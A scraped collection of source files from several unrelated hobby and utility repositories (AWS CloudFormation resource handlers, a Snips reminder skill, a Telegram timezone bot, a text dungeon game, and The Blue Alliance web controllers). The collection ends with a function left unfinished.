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{ "source": "joseph-behrens/cfn-resource-cidr-helper", "score": 2 }
#### File: src/jb_vpc_cidrcalc/handlers.py ```python import logging import boto3 import ipaddress import netaddr import boto3 import uuid from botocore.exceptions import ClientError from typing import Any, MutableMapping, Optional from cloudformation_cli_python_lib import ( Action, HandlerErrorCode, OperationStatus, ProgressEvent, Resource, SessionProxy, exceptions, ) from .models import ResourceHandlerRequest, ResourceModel # Use this logger to forward log messages to CloudWatch Logs. LOG = logging.getLogger(__name__) TYPE_NAME = "JB::VPC::CidrCalc" resource = Resource(TYPE_NAME, ResourceModel) test_entrypoint = resource.test_entrypoint class Lister: def __init__(self): super().__init__() def split_by_host_numbers(self, starting_cidr, list_of_num_hosts): cidr_list = [] for num_hosts in list_of_num_hosts: next_cidr = CIDR(ipaddress.IPv4Network( starting_cidr)[0], num_hosts).get_cidr() cidr_list.append(str(next_cidr)) starting_cidr = ipaddress.IPv4Network(next_cidr)[-1] + 1 return cidr_list def split_by_prefix(self, cidr_to_split, prefix): cidr_list = CIDR(cidr_to_split, 0).split_by_prefix( cidr_to_split, prefix) return cidr_list class CIDR: def __init__(self, starting_address, number_of_hosts): super().__init__() self.starting_address = starting_address self.number_of_hosts = number_of_hosts self.map = { 16: 28, 32: 27, 64: 26, 128: 25, 256: 24, 512: 23, 1000: 22, 2000: 21, 4000: 20, 8000: 19, 16000: 18, 32000: 17, 64000: 16 } def _find_closest(self, num): list_of_host_nums = list(self.map.keys()) closest = min(list_of_host_nums, key=lambda x: abs(x-num)) if closest < num: try: closest = list_of_host_nums[list_of_host_nums.index( closest) + 1] except IndexError: raise ValueError( f"Subnets must be in range of 16 to 64,000 hosts, {num} is outside the upper bound") return closest def _get_starting_cidr(self): suffix = self.map[self._find_closest(self.number_of_hosts)] return ipaddress.ip_network(str(self.starting_address) + '/' + str(suffix), False) def get_cidr(self): starting = self._get_starting_cidr() if starting[0] < ipaddress.ip_address(self.starting_address): return str(netaddr.IPNetwork(str(starting)).next()) return str(starting) def split_by_prefix(self, cidr_to_split, new_prefix): starting = ipaddress.ip_network(cidr_to_split, False) cidrs = starting.subnets(new_prefix=new_prefix) return [str(address) for address in cidrs] def set_cidr_list(model): if model.HostCounts: if not isinstance(model.HostCounts, list) or not all(isinstance(item, int) for item in model.HostCounts): raise exceptions.InvalidRequest( f"Host number list must be an array of integers, received {model.HostCounts}") try: cidr_list = Lister().split_by_host_numbers( model.CidrToSplit, model.HostCounts) except ValueError as value_error: raise exceptions.InvalidRequest(str(value_error)) elif model.PrefixForEvenSplit: cidr_list = Lister().split_by_prefix(model.CidrToSplit, model.PrefixForEvenSplit) else: raise exceptions.InvalidRequest( f"Must pass either a host count list or a prefix to split the cidr by") return cidr_list def write_ssm_parameters(name, value, param_type, session): try: ssm = session.client('ssm') ssm.put_parameter( Name=name, Value=value, Type=param_type, Overwrite=True ) except ClientError as client_error: raise exceptions.InternalFailure(str(client_error)) def get_ssm_parameter(name, session): try: ssm = session.client('ssm') response = ssm.get_parameter(Name=name) return response['Parameter']['Value'] except ClientError: raise exceptions.NotFound(TYPE_NAME, name) def remove_ssm_parameter(name, session): try: ssm = session.client('ssm') ssm.delete_parameter(Name=name) except ClientError as client_error: raise exceptions.InternalFailure(str(client_error)) @resource.handler(Action.CREATE) def create_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], ) -> ProgressEvent: model = request.desiredResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) model.UID = str(uuid.uuid4()) model.CIDRs = ','.join(set_cidr_list(model)) write_ssm_parameters(model.UID + '-CidrList', model.CIDRs, 'StringList', session) write_ssm_parameters(model.UID + '-State', 'CREATED', 'String', session) progress.status = OperationStatus.SUCCESS return progress @ resource.handler(Action.UPDATE) def update_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], ) -> ProgressEvent: model = request.desiredResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) if not model.UID: raise exceptions.NotFound(TYPE_NAME, 'UID') state = get_ssm_parameter(model.UID + '-State', session) if state == 'DELETED': raise exceptions.NotFound(TYPE_NAME, 'UID') model.CIDRs = ','.join(set_cidr_list(model)) write_ssm_parameters(model.UID + '-CidrList', model.CIDRs, 'StringList', session) write_ssm_parameters(model.UID + '-State', 'UPDATED', 'String', session) progress.status = OperationStatus.SUCCESS return progress @ resource.handler(Action.DELETE) def delete_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], ) -> ProgressEvent: model = request.desiredResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) state = get_ssm_parameter(model.UID + '-State', session) if state == 'DELETED': progress.status = OperationStatus.FAILED raise exceptions.NotFound(TYPE_NAME, 'UID') elif state == 'CREATED' or state == 'UPDATED': remove_ssm_parameter(model.UID + '-CidrList', session) write_ssm_parameters(model.UID + '-State', 'DELETED', 'String', session) return ProgressEvent( status=OperationStatus.SUCCESS, resourceModel=None, ) else: raise exceptions.NotFound(TYPE_NAME, state) @ resource.handler(Action.READ) def read_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], ) -> ProgressEvent: model = request.desiredResourceState if get_ssm_parameter(model.UID + '-State', session) == 'DELETED': raise exceptions.NotFound(TYPE_NAME, 'UID') model.CIDRs = get_ssm_parameter( model.UID + '-CidrList', session) return ProgressEvent( status=OperationStatus.SUCCESS, resourceModel=model, ) ``` #### File: cfn-resource-cidr-helper/tests/unit_tests.py ```python import unittest from jb_vpc_cidrcalc.handlers import CIDR from jb_vpc_cidrcalc.handlers import Lister cidr_maps = { 16: 28, 32: 27, 64: 26, 128: 25, 256: 24, 512: 23, 1000: 22, 2000: 21, 4000: 20, 8000: 19, 16000: 18, 32000: 17, 64000: 16 } class CalculatorTests(unittest.TestCase): def test_instantiation(self): cidr = CIDR('10.0.0.0', 22) self.assertEqual(cidr.number_of_hosts, 22) self.assertEqual(cidr.starting_address, '10.0.0.0') self.assertDictEqual(cidr_maps, cidr.map) def test_next_cidr(self): cidr = CIDR('10.0.0.0', 250) next_cidr = cidr.get_cidr() self.assertEqual(next_cidr, '10.0.0.0/24') def test_out_of_range(self): with self.assertRaises(ValueError): cidr = CIDR('10.0.0.0', 64001) cidr.get_cidr() def test_split_by_prefix(self): cidr = CIDR(None, None) expected_list = ['10.0.0.0/26', '10.0.0.64/26', '10.0.0.128/26', '10.0.0.192/26'] self.assertEqual(cidr.split_by_prefix( '10.0.0.0/24', 26), expected_list) class GeneratorTests(unittest.TestCase): def test_split_by_hosts(self): cidrs = Lister().split_by_host_numbers( '10.0.0.0', [64, 128, 64, 250, 500]) expected_list = ['10.0.0.0/26', '10.0.0.128/25', '10.0.1.0/26', '10.0.2.0/24', '10.0.4.0/23'] self.assertEqual(cidrs, expected_list) def test_split_by_prefix(self): cidrs = Lister().split_by_prefix('10.0.0.0/24', 26) expected_list = ['10.0.0.0/26', '10.0.0.64/26', '10.0.0.128/26', '10.0.0.192/26'] self.assertEqual(cidrs, expected_list) def test_out_of_range(self): with self.assertRaises(ValueError): cidrs = Lister().split_by_host_numbers( '10.0.0.0', [64, 128, 64, 250, 500000]) if __name__ == "__main__": unittest.main() ```
{ "source": "joseph-behrens/cfn-resource-type-emr-stepconcurrency", "score": 2 }
#### File: src/jb_emr_stepconcurrencylevel/handlers.py ```python import logging from typing import Any, MutableMapping, Optional from cloudformation_cli_python_lib import ( Action, HandlerErrorCode, OperationStatus, ProgressEvent, Resource, SessionProxy, exceptions, ) from .models import ResourceHandlerRequest, ResourceModel # Use this logger to forward log messages to CloudWatch Logs. LOG = logging.getLogger(__name__) LOG.setLevel("INFO") TYPE_NAME = "JB::EMR::StepConcurrencyLevel" resource = Resource(TYPE_NAME, ResourceModel) # pylint: disable=invalid-name test_entrypoint = resource.test_entrypoint # pylint: disable=invalid-name def get_cluster_info(session: Optional[SessionProxy], cluster_id: str) -> dict: """This function will gather all information from a describe cluster call to the given cluster ID Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from Returns: dict: A dictionary of the cluster attributes """ client = session.client('emr') LOG.info("Getting all info for cluster %s", cluster_id) response = client.describe_cluster( ClusterId=cluster_id ) LOG.info("RESPONSE: %s", response) return response def get_uid(session: Optional[SessionProxy], cluster_id: str) -> str: """This function will retreive the value of the tag "StepConcurrencyUID" from the given cluster ID Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from Returns: str: The value of the StepConcurrencyUID tag in the cluster """ response = get_cluster_info(session, cluster_id) LOG.info("Gathering tags for cluster %s", cluster_id) tags = response["Cluster"]["Tags"] LOG.info(tags) for tag in tags: if tag['Key'] == "StepConcurrencyUID": LOG.info("Found concurrency tag") LOG.info(tag["Value"]) return tag["Value"] LOG.info("Didn't find concurrency tag") return None def get_concurrency_level(session: Optional[SessionProxy], cluster_id: str) -> str: """This function will retreive the current value of StepConcurrencyLevel from the given cluster Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from Returns: str: The value of the StepConcurrencyLevel attribute in the cluster """ response = get_cluster_info(session, cluster_id) LOG.info("Gathering concurrency for cluster %s", cluster_id) return response["Cluster"]["StepConcurrencyLevel"] @resource.handler(Action.CREATE) def create_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], # pylint: disable=unused-argument ) -> ProgressEvent: """This function is triggered by the CloudFormation CREATE event and will set the StepConcurrency level from the default of 1 to the new provided value within the up to the max of 256. It will also add a tag to the cluster in order to keep track of the resource. Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from callback_context (MutableMapping[str, Any]): Use to store any state between re-invocation via IN_PROGRESS Returns: ProgressEvent: An event with the status of the action """ LOG.info("Create Handler") model = request.desiredResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) model.UID = "cluster:" + model.ClusterId model.StepConcurrencyLevel = int(model.StepConcurrencyLevel) uid = get_uid(session, model.ClusterId) LOG.info("UID: %s", uid) if uid == model.UID: raise exceptions.AlreadyExists(TYPE_NAME, model.ClusterId) if model.StepConcurrencyLevel < 1 or model.StepConcurrencyLevel > 256: raise exceptions.InvalidRequest( f"Step Concurency Level must be between 1 and 256, \ {model.StepConcurrencyLevel} was given.") try: client = session.client('emr') LOG.info("Setting concurrency to %s for cluster %s", model.StepConcurrencyLevel, model.ClusterId) response = client.modify_cluster( ClusterId=model.ClusterId, StepConcurrencyLevel=int(model.StepConcurrencyLevel) ) LOG.info("RESPONSE TO SET CONCURRENCY:") LOG.info(response) LOG.info("Setting UID tag to %s", model.ClusterId) tag_response = client.add_tags( ResourceId=model.ClusterId, Tags=[ { "Key": "StepConcurrencyUID", "Value": model.UID } ] ) LOG.info("RESPONSE TO ADD TAGS:") LOG.info(tag_response) progress.status = OperationStatus.SUCCESS except Exception as unexpected_exception: LOG.error(str(unexpected_exception)) raise exceptions.InternalFailure( f"Failed Create: {str(unexpected_exception)}") return progress @resource.handler(Action.UPDATE) def update_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], # pylint: disable=unused-argument ) -> ProgressEvent: """This function is triggered by the CloudFormation UPDATE event and will update the StepConcurrency level to the new provided value within the up to the max of 256. It will also add a tag to the cluster in order to keep track of the resource. Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from callback_context (MutableMapping[str, Any]): Use to store any state between re-invocation via IN_PROGRESS Returns: ProgressEvent: An event with the status of the action """ model = request.desiredResourceState previous_model = request.previousResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) LOG.info("UPDATE HANDLER") LOG.info("MODEL") LOG.info(model) LOG.info("PREVIOUS") LOG.info(previous_model) model.StepConcurrencyLevel = int(model.StepConcurrencyLevel) if model.UID != previous_model.UID: raise exceptions.InvalidRequest("Cannot update the UID") if model.StepConcurrencyLevel < 1 or model.StepConcurrencyLevel > 256: raise exceptions.InvalidRequest( f"Step Concurency Level must be between 1 and 256, \ {model.StepConcurrencyLevel} was given.") if model.UID != get_uid(session, model.ClusterId): raise exceptions.NotFound(TYPE_NAME, model.ClusterId) try: client = session.client('emr') LOG.info("Updating concurrency to %s for cluster %s", model.StepConcurrencyLevel, model.ClusterId) response = client.modify_cluster( ClusterId=model.ClusterId, StepConcurrencyLevel=model.StepConcurrencyLevel ) LOG.info("RESPONSE: %s", response) progress.status = OperationStatus.SUCCESS except Exception as unexpected_exception: LOG.error(str(unexpected_exception)) raise exceptions.InternalFailure( f"Failed Update: {str(unexpected_exception)}") return progress @resource.handler(Action.DELETE) def delete_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], # pylint: disable=unused-argument ) -> ProgressEvent: """This function is triggered by the CloudFormation DELETE event and will set the StepConcurrency level to the default of 1. It will also remove a tag on the cluster in order to keep track of the resource. Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from callback_context (MutableMapping[str, Any]): Use to store any state between re-invocation via IN_PROGRESS Returns: ProgressEvent: An event with the status of the action """ model = request.desiredResourceState progress: ProgressEvent = ProgressEvent( status=OperationStatus.IN_PROGRESS, resourceModel=model, ) LOG.info("DELETE HANDLER") if get_uid(session, model.ClusterId) != model.UID: raise exceptions.NotFound(TYPE_NAME, model.ClusterId) try: client = session.client('emr') LOG.info("Setting concurrency to default for cluster %s", model.ClusterId) response = client.modify_cluster( ClusterId=model.ClusterId, StepConcurrencyLevel=1 ) LOG.info("RESPONSE:") LOG.info("RESPONSE:") LOG.info(response) progress.resourceModel = None LOG.info("Removing Tags") tags_response = client.remove_tags( ResourceId=model.ClusterId, TagKeys=["StepConcurrencyUID"] ) LOG.info("TAG REMOVAL RESPONSE") LOG.info(tags_response) LOG.info("TAG REMOVAL RESPONSE: %s", tags_response) progress.status = OperationStatus.SUCCESS except Exception as unexpected_exception: LOG.error(str(unexpected_exception)) raise exceptions.InternalFailure( f"Failed Delete: {str(unexpected_exception)}") return progress @resource.handler(Action.READ) def read_handler( session: Optional[SessionProxy], request: ResourceHandlerRequest, callback_context: MutableMapping[str, Any], # pylint: disable=unused-argument ) -> ProgressEvent: """This function is triggered by the CloudFormation READ event and will retrieve the StepConcurrency level of the cluster. Attributes: session (Optional[SessionProxy]): The session proxy for connecting to the needed AWS API client cluster_id (str): The unique ID of the cluster to get details from callback_context (MutableMapping[str, Any]): Use to store any state between re-invocation via IN_PROGRESS Returns: ProgressEvent: An event with the status of the action """ model = request.desiredResourceState if model.UID != get_uid(session, model.ClusterId): raise exceptions.NotFound(TYPE_NAME, model.ClusterId) try: model.StepConcurrencyLevel = get_concurrency_level( session, model.ClusterId) except Exception as unexpected_exception: LOG.error(str(unexpected_exception)) raise exceptions.InternalFailure( f"Failed Read: {str(unexpected_exception)}") return ProgressEvent( status=OperationStatus.SUCCESS, resourceModel=model, ) ```
{ "source": "joseph-behrens/vaccine-availability-notifications", "score": 3 }
#### File: chalicelib/services/vaccinespotter_service.py ```python from typing import Optional import requests from requests import HTTPError, Timeout from chalicelib.logs.utils import get_logger logger = get_logger(__name__) def fetch_availability_for_state(state_abbr: str) -> Optional[dict]: """ Retrieves the vaccine availability for a given state """ logger.info( "Retrieving vaccine availability for state", extra={"state": state_abbr}, ) try: response = requests.get( f"https://www.vaccinespotter.org/api/v0/states/{state_abbr}.json", timeout=10, ) except (HTTPError, Timeout) as e: logger.error( "Failed to process state availability", extra={"exception": e, "state": state_abbr}, ) return None return response.json() ```
{ "source": "JosephBerman/DungeonPi", "score": 3 }
#### File: src/characterClass/CharacterClass.py ```python from src.Constants import * CONSTANT = Constants() class CharacterClass: def __init__(self, nm: str, ht: int, ba: int): self._name = nm self._baseHealth = ht self._baseArmor = ba def printClass(self): print(self._name, self._baseHealth, self._baseArmor) def getName(self): return self._name def getHealth(self): return self._baseHealth def getBaseArmor(self): return self._baseArmor class EmptyClass(CharacterClass): def __init__(self): super().__init__(CONSTANT.NONE, 0, 0) ``` #### File: src/characterClass/ProtagonistClasses.py ```python from .CharacterClass import CharacterClass class Wizard(CharacterClass): def __init__(self): super().__init__("Wizard", 6, 10) self._mana = 10 class Monk(CharacterClass): def __init__(self): super().__init__("Monk", 6, 14) self._ki = 3 class Barbarian(CharacterClass): def __init__(self): super().__init__("Barbarian", 12, 10) class Archer(CharacterClass): def __init__(self): super().__init__("Archer", 8, 10) ```
{ "source": "JosephBGerber/snips-scheduler", "score": 2 }
#### File: JosephBGerber/snips-scheduler/action-scheduler.py ```python from typing import Dict import time import threading from hermes_python.hermes import Hermes, IntentMessage from hermes_python.ffi.utils import MqttOptions from hermes_python.ontology import * import io import db def set_reminder_callback(hermes, intent_message): # type: (Hermes, IntentMessage) -> None handle = db.Database() event_time_str = intent_message.slots["time"].first().value[:-7] # remove timezone information for the time value event_time_struct = time.strptime(event_time_str, "%Y-%m-%d %H:%M:%S") # parse the str time into a time.time_struct event_time = time.mktime(event_time_struct) # store the resulting epoch time if len(intent_message.slots) == 1: uuid = handle.create_event(event_time) message = "Reminder created at %I %M %p with an I D of {}".format(uuid) message = time.strftime(message, event_time_struct) hermes.publish_end_session(intent_message.session_id, message) return if len(intent_message.slots) == 2: event = intent_message.slots["event"].first().value uuid = handle.create_event(event_time) message = "Reminder created to {} at %I %M %p with an I D of {}".format( event, uuid) message = time.strftime(message, event_time_struct) hermes.publish_end_session(intent_message.session_id, message) return def delete_reminder_callback(hermes, intent_message): # type: (Hermes, IntentMessage) -> None uuid = intent_message.slots["uuid"].first().value handle = db.Database() handle.delete_event(uuid) message = "Reminder with I D {} deleted".format(uuid) hermes.publish_end_session(intent_message.session_id, message) def event_thread(hermes): # type: (Hermes) -> None handle = db.Database() while True: time.sleep(1) for (uuid, name) in handle.get_due_events(): if name is None: hermes.publish_start_session_notification("default", "This is a reminder to do your stuff.", None) handle.delete_event(uuid) else: message = "This is a reminder to {}".format(name) hermes.publish_start_session_notification("default", message, None) handle.delete_event(uuid) if __name__ == "__main__": mqtt_opts = MqttOptions() with Hermes(mqtt_options=mqtt_opts) as h: threading.Thread(target=event_thread, args=(h,)).start() h.subscribe_intent("JosephBGerber:SetReminder", set_reminder_callback)\ .subscribe_intent("JosephBGerber:DeleteReminder", delete_reminder_callback)\ .start() ```
{ "source": "josephbirkner/telegram-timezone-bot", "score": 2 }
#### File: josephbirkner/telegram-timezone-bot/main.py ```python import logging import sys from telegram.ext import Updater, MessageHandler, Filters from datetime import datetime from pytz import all_timezones_set, timezone, utc import re from os.path import join, dirname, abspath logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO) OFFLINE = len(sys.argv) > 1 and sys.argv[1] == "offline" FREEDOM_TIMEZONES = {"edt", "est", "pst", "pdt"} ALL_TIMEZONES = {tz.lower() for tz in all_timezones_set} | FREEDOM_TIMEZONES query_re = re.compile( f"(?:[^\\d]+|\\d[^\\d:])*\\b(\\d{{1,2}})(?::(\\d{{1,2}}))?\\s*(am|pm)?\\s*({'|'.join(ALL_TIMEZONES)})?\\s+(?:(in|to)\\s+)?({'|'.join(ALL_TIMEZONES)})\\b.*" ) def make_timezone(name: str) -> timezone: if name == "edt" or name == "est": tz = timezone("US/Eastern") elif name == "cest": tz = timezone("CET") elif name == "pdt" or name == "pst": tz = timezone("US/Pacific") else: tz = timezone(name.upper()) return tz def make_time(name: str, hour: int, minute: int) -> datetime: now = utc.localize(datetime.now()) return make_timezone(name).localize(datetime( year=now.year, month=now.month, day=now.day, hour=hour, minute=minute), is_dst=True) def make_response(user_input: str): match = query_re.match(user_input) if not match: return try: src_hour = int(match.group(1) or "0") src_min = int(match.group(2) or "0") src_pm = match.group(3) src_tz = match.group(4) src_separator = match.group(5) dest_tz = match.group(6) # Default src/dst timezone if not src_tz and not src_separator: src_tz = dest_tz dest_tz = "cet" if src_tz in FREEDOM_TIMEZONES else "est" elif not src_tz: src_tz = "cet" if dest_tz in FREEDOM_TIMEZONES else "est" # AM/PM Conversions if src_pm == "pm" and src_hour < 12: src_hour += 12 elif src_pm == "pm" and src_hour == 12: src_hour = 0 orig_time = make_time(src_tz, src_hour, src_min) result_time = orig_time.astimezone(make_timezone(dest_tz)) response = result_time.strftime('%H:%M %Z') if response: if dest_tz in FREEDOM_TIMEZONES: return f"That's {response} ๐Ÿ˜œ๐Ÿ‡บ๐Ÿ‡ธ๐Ÿ‡บ๐Ÿ‡ธ" else: return f"That's {response} ๐Ÿ‡ช๐Ÿ‡บ๐Ÿ‘Œ" except Exception as e: return f"Whatevs ๐Ÿ˜Ž ({e})" if not OFFLINE: def process_message(update, context): msg = update.message.text.lower() response = make_response(msg) if response: context.bot.send_message(chat_id=update.effective_chat.id, text=response) with open(join(abspath(dirname(__file__)), "token"), "r") as token_file: token = token_file.read() updater = Updater(token=token, use_context=True) message_handler = MessageHandler(Filters.text & (~Filters.command), process_message) updater.dispatcher.add_handler(message_handler) updater.start_polling() updater.idle() else: user_input_text = "" while True: user_input_text = input().lower() if user_input_text in {"q", "exit", "quit"}: break print(f"> {make_response(user_input_text)}") ```
{ "source": "josephbisch/the-blue-alliance", "score": 2 }
#### File: the-blue-alliance/controllers/ajax_controller.py ```python import os import urllib2 import json import time from base_controller import CacheableHandler, LoggedInHandler from google.appengine.api import memcache from google.appengine.ext import ndb from google.appengine.ext.webapp import template from helpers.model_to_dict import ModelToDict from helpers.mytba_helper import MyTBAHelper from models.account import Account from models.event import Event from models.favorite import Favorite from models.sitevar import Sitevar from models.typeahead_entry import TypeaheadEntry class AccountFavoritesHandler(LoggedInHandler): """ For getting an account's favorites """ def get(self, model_type): if not self.user_bundle.user: self.response.set_status(401) return favorites = Favorite.query( Favorite.model_type==int(model_type), ancestor=ndb.Key(Account, self.user_bundle.user.user_id())).fetch() self.response.out.write(json.dumps([ModelToDict.favoriteConverter(fav) for fav in favorites])) class AccountFavoritesAddHandler(LoggedInHandler): """ For adding an account's favorites """ def post(self): if not self.user_bundle.user: self.response.set_status(401) return model_type = int(self.request.get("model_type")) model_key = self.request.get("model_key") user_id = self.user_bundle.user.user_id() fav = Favorite( parent=ndb.Key(Account, user_id), user_id=user_id, model_key=model_key, model_type=model_type ) MyTBAHelper.add_favorite(fav) class AccountFavoritesDeleteHandler(LoggedInHandler): """ For deleting an account's favorites """ def post(self): if not self.user_bundle.user: self.response.set_status(401) return model_key = self.request.get("model_key") user_id = self.user_bundle.user.user_id() MyTBAHelper.remove_favorite(user_id, model_key) class LiveEventHandler(CacheableHandler): """ Returns the necessary details to render live components Uses timestamp for aggressive caching """ CACHE_VERSION = 1 CACHE_KEY_FORMAT = "live-event:{}:{}" # (event_key, timestamp) def __init__(self, *args, **kw): super(LiveEventHandler, self).__init__(*args, **kw) self._cache_expiration = 60 * 10 def get(self, event_key, timestamp): if int(timestamp) > time.time(): self.abort(404) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(event_key, timestamp) super(LiveEventHandler, self).get(event_key, timestamp) def _render(self, event_key, timestamp): self.response.headers['Cache-Control'] = 'public, max-age=%d' % self._cache_expiration self.response.headers['Pragma'] = 'Public' self.response.headers['content-type'] = 'application/json; charset="utf-8"' event = Event.get_by_id(event_key) matches = [] for match in event.matches: matches.append({ 'name': match.short_name, 'alliances': match.alliances, 'order': match.play_order, 'time_str': match.time_string, }) event_dict = { # 'rankings': event.rankings, # 'matchstats': event.matchstats, 'matches': matches, } return json.dumps(event_dict) class TypeaheadHandler(CacheableHandler): """ Currently just returns a list of all teams and events Needs to be optimized at some point. Tried a trie but the datastructure was too big to fit into memcache efficiently """ CACHE_VERSION = 1 CACHE_KEY_FORMAT = "typeahead_entries:{}" # (search_key) def __init__(self, *args, **kw): super(TypeaheadHandler, self).__init__(*args, **kw) self._cache_expiration = 60 * 60 * 24 def get(self, search_key): search_key = urllib2.unquote(search_key) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(search_key) super(TypeaheadHandler, self).get(search_key) def _render(self, search_key): self.response.headers['Cache-Control'] = 'public, max-age=%d' % self._cache_expiration self.response.headers['Pragma'] = 'Public' self.response.headers['content-type'] = 'application/json; charset="utf-8"' entry = TypeaheadEntry.get_by_id(search_key) if entry is None: return '[]' else: if self._has_been_modified_since(entry.updated): return entry.data_json else: return None class WebcastHandler(CacheableHandler): """ Returns the HTML necessary to generate the webcast embed for a given event """ CACHE_VERSION = 1 CACHE_KEY_FORMAT = "webcast_{}_{}" # (event_key) def __init__(self, *args, **kw): super(WebcastHandler, self).__init__(*args, **kw) self._cache_expiration = 60 * 60 * 24 def get(self, event_key, webcast_number): self._partial_cache_key = self.CACHE_KEY_FORMAT.format(event_key, webcast_number) super(WebcastHandler, self).get(event_key, webcast_number) def _render(self, event_key, webcast_number): self.response.headers['Cache-Control'] = "public, max-age=%d" % (5 * 60) self.response.headers['Pragma'] = 'Public' self.response.headers.add_header('content-type', 'application/json', charset='utf-8') output = {} if not webcast_number.isdigit(): return json.dumps(output) webcast_number = int(webcast_number) - 1 event = Event.get_by_id(event_key) if event and event.webcast: webcast = event.webcast[webcast_number] if 'type' in webcast and 'channel' in webcast: output['player'] = self._renderPlayer(webcast) else: special_webcasts_future = Sitevar.get_by_id_async('gameday.special_webcasts') special_webcasts = special_webcasts_future.get_result() if special_webcasts: special_webcasts = special_webcasts.contents else: special_webcasts = {} if event_key in special_webcasts: webcast = special_webcasts[event_key] if 'type' in webcast and 'channel' in webcast: output['player'] = self._renderPlayer(webcast) return json.dumps(output) def _renderPlayer(self, webcast): webcast_type = webcast['type'] template_values = {'webcast': webcast} path = os.path.join(os.path.dirname(__file__), '../templates/webcast/' + webcast_type + '.html') return template.render(path, template_values) def memcacheFlush(self, event_key): keys = [self.CACHE_KEY_FORMAT.format(event_key, n) for n in range(10)] memcache.delete_multi(keys) return keys ``` #### File: controllers/api/api_event_controller.py ```python import json import logging import webapp2 from datetime import datetime from google.appengine.ext import ndb from controllers.api.api_base_controller import ApiBaseController from database.event_query import EventListQuery from helpers.award_helper import AwardHelper from helpers.district_helper import DistrictHelper from helpers.model_to_dict import ModelToDict from models.event import Event class ApiEventController(ApiBaseController): CACHE_KEY_FORMAT = "apiv2_event_controller_{}" # (event_key) CACHE_VERSION = 2 CACHE_HEADER_LENGTH = 60 * 60 def __init__(self, *args, **kw): super(ApiEventController, self).__init__(*args, **kw) self.event_key = self.request.route_kwargs["event_key"] self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) @property def _validators(self): return [("event_id_validator", self.event_key)] def _set_event(self, event_key): self.event = Event.get_by_id(event_key) if self.event is None: self._errors = json.dumps({"404": "%s event not found" % self.event_key}) self.abort(404) def _track_call(self, event_key): self._track_call_defer('event', event_key) def _render(self, event_key): self._set_event(event_key) event_dict = ModelToDict.eventConverter(self.event) return json.dumps(event_dict, ensure_ascii=True) class ApiEventTeamsController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_teams_controller_{}" # (event_key) CACHE_VERSION = 2 CACHE_HEADER_LENGTH = 60 * 60 def __init__(self, *args, **kw): super(ApiEventTeamsController, self).__init__(*args, **kw) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): self._track_call_defer('event/teams', event_key) def _render(self, event_key): self._set_event(event_key) teams = filter(None, self.event.teams) team_dicts = [ModelToDict.teamConverter(team) for team in teams] return json.dumps(team_dicts, ensure_ascii=True) class ApiEventMatchesController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_matches_controller_{}" # (event_key) CACHE_VERSION = 2 CACHE_HEADER_LENGTH = 61 def __init__(self, *args, **kw): super(ApiEventMatchesController, self).__init__(*args, **kw) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): self._track_call_defer('event/matches', event_key) def _render(self, event_key): self._set_event(event_key) matches = self.event.matches match_dicts = [ModelToDict.matchConverter(match) for match in matches] return json.dumps(match_dicts, ensure_ascii=True) class ApiEventStatsController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_stats_controller_{}" # (event_key) CACHE_VERSION = 0 CACHE_HEADER_LENGTH = 61 def __init__(self, *args, **kw): super(ApiEventStatsController, self).__init__(*args, **kw) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): self._track_call_defer('event/stats', event_key) def _render(self, event_key): self._set_event(event_key) return json.dumps(Event.get_by_id(event_key).matchstats) class ApiEventRankingsController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_rankings_controller_{}" # (event_key) CACHE_VERSION = 0 CACHE_HEADER_LENGTH = 61 def __init__(self, *args, **kw): super(ApiEventRankingsController, self).__init__(*args, **kw) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): self._track_call_defer('event/rankings', event_key) def _render(self, event_key): self._set_event(event_key) ranks = json.dumps(Event.get_by_id(event_key).rankings) if ranks is None or ranks == 'null': return '[]' else: return ranks class ApiEventAwardsController(ApiEventController): CACHE_KEY_FORMAT = "apiv2_event_awards_controller_{}" # (event_key) CACHE_VERSION = 3 CACHE_HEADER_LENGTH = 61 def __init__(self, *args, **kw): super(ApiEventAwardsController, self).__init__(*args, **kw) self._partial_cache_key = self.CACHE_KEY_FORMAT.format(self.event_key) def _track_call(self, event_key): 